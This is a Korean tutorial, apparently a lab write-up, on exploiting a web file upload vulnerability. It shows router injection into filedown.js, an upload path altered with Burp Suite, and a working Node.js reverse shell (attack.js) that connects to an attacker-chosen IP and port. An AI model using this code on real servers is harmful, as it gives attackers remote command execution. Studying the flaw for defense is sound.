파일 업로드 공격


파일 업로드 공격

1. 파일 업로드 취약점이란 ?

  • 파일 업로드 취약점은 웹 서버가 제공하는 파일 업로드 기능을 이용하여 확장자 검증 미흡으로 서버에 악의적인 파일이 업로드가 가능한 취약점이다.
  • 공격자는 서버에서 실행될 수 있는 파일을 업로드하여 공격자가 원하는 기능을 동작하게 한다. 적절한 검증 없이 파일 업로드 기능을 제공할 때 발생하는 취약점이므로 확장자에 대한 검증을 적용해야 한다.

2. 공격 방법

파일 다운로드 공격에서 다운받은 filedown.js 파일의 소스코드를 분석하여 아래와 같은 라우터 기능을 추가한다.

router.use('/attack', require('../../../upload/attack.js'));

수정된 filedown.js를 Burpsuite를 통해 업로드 경로를 수정하여 업로드한다.

수정된filedown.js업로드

filedown.js가 업로드 되는 것이 확인 되었으니 attack.js를 만들어 업로드를 진행해본다.

var express = require("express");
var router = express.Router();

router.get("/", function(req, res) {
	var net = require("net"),
		cp = require("child_process"),
		sh = cp.spawn("/bin/sh",[]);     // 서버 OS가 리눅스 일 때
		sh = cp.spawn("cmd",[]);         // 서버 OS가 윈도우 일 때
	var client = new net.Socket();
	
	client.connect(req.query.port,req.query.ip,function(){
		client.pipe(sh.stdin);
		sh.stdout.pipe(client);
		sh.stderr.pipe(client);
	});
	return /a/;
});

module.exports = router;

attack.js업로드

attack.js가 정상적으로 업로드 된 것을 확인해 볼 수 있다.

업로드가 되었으니 웹쉘을 실행해본다.

공격결과

웹쉘 실행결과 정상적으로 실행된다는 것을 확인할 수 있고, js파일 업로드와 업로드 된 파일이 실행되는 것으로 업로드 공격을 진행할 수 있다.